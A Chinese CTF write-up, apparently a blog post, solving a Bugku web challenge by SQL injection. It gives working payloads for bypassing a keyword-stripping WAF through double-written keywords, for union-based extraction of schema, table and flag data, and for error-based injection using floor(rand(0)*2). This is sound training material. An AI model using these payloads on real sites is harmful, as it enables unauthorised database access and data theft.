SQL报错注入

4 篇文章 0 订阅

快草了两个月的bugku-web类型的题,感觉基本web类型都有了一些大概的了解,当然比不上dalao的掌控雷电的操作,后面就是多玩一会python了,毕竟CTF中脚本不会写是真的硬伤。

这道题是web-150分的题,看了一下网上的WP不多,我也是找了一堆资料,看了看相似的体型才把这道题做的差不多。

题名:多次,网址链接

首先打开网页看到id这个参数,很经典的SQL注入。于是测试单引号过滤?id=1’,页面发生变化,猜测位查询语句为单引号闭合。

再次进行测试,?id=1′ or 1=1%23 ,发现并无变化。

猜测可能有WAF过滤,于是测试双重写or,?id=1′ oorr 1=1%23 ,测试发现页面改变

进行测试过滤,使用异或符号(^)搭配length函数开始测试。

如何判断是否过滤,例如union函数没有过滤,那么length(‘union’)=0是不成立的,即该语句布尔值为0,并且前面的查询语句布尔值恒等于1,1^0=1,1^1=0。则为1返回正常页面,不正常返回错误页面。
![]https://ssb6666.github.io/2018/08/17/SQL%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/4.png)
经测试:or,and,union,select被过滤。那么接下来就是常规测试。

?id=1%27 oorrder by 2%23,测试列数为2。(注意order里面的or)

爆数据库

?id=-1%27 uniounionn selecselectt 1,group_concat(schema_name) from infoorrmation_schema.schemata%23(坑点:information里面的or
![]https://ssb6666.github.io/2018/08/17/SQL%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/6.png)

爆表

?id=-1%27 uniounionn selecselectt 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x776562313030322d31(十六进制码为web1002-1)%23

爆出数据

?id=-1%27 uniounionn selecselectt 1,flag1 from flag1 %23

然后题目提示还有一个flag在下一关的地址。根据上面的操作,地址可能在address列里。

寻找下一关地址

?id=-1%27 uniounionn selecselectt 1,address from flag1 %23

找到下一关地址


OK,还是向上面的一样测试,发现还是单引号过滤。

发现还是有回显我们测试的语句,突然发现这个WAF过滤的有点奇怪,这个过滤了union

那我将union重写,发现直接不回显,可能是后端的专门对这种产生过滤。

因为还发现有报错产生,那么我就进行报错盲注测试。

盲注测试公式:union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

其中version()改成相应的注入语句。公式需要灵活变通,例如本题中的union被过滤,那么将语句改为or and连接的形式,并且适当添加相应的列数。Ps:盲注相关原理在文章末尾链接。

or (select 1 from(select count(),concat(0x23,(select schema_name from information_schema.schemata limit 1,1),0x23,floor(rand(0)2))x from information_schema.schemata group by x)a)%23

因为不能用union进行注入,所以改变一下形式使用or,就这个走了好多弯路,因为or只能使用1个跟1个比,否则将会出错Operand should contain 1 column(s) , 且(select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 1,1),0x23,floor(rand(0)*2))x from information_schema.schemata group by x)这条语句将会产生一个虚拟表,你在虚拟表进行查询时需要起一个别名,我在这里起的a,于是报错爆来数据库,下面的操作跟第一关一样。

但是其中爆数据时产生了一些问题,说是子查询返回超过了一行但是猜测肯定是只有一行的,估计是出题人加了回车产生了换行。

解决方法:left((select flag2 from flag2),40),取前40个字符。

相关链接:

https://blog.csdn.net/qq_35544379/article/details/77453019

https://blog.csdn.net/he_and/article/details/80455884

http://wyb0.com/

两天时间全部花费在这个报错注入上,不过懂了好多SQL上的东西,也算是少有收获。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值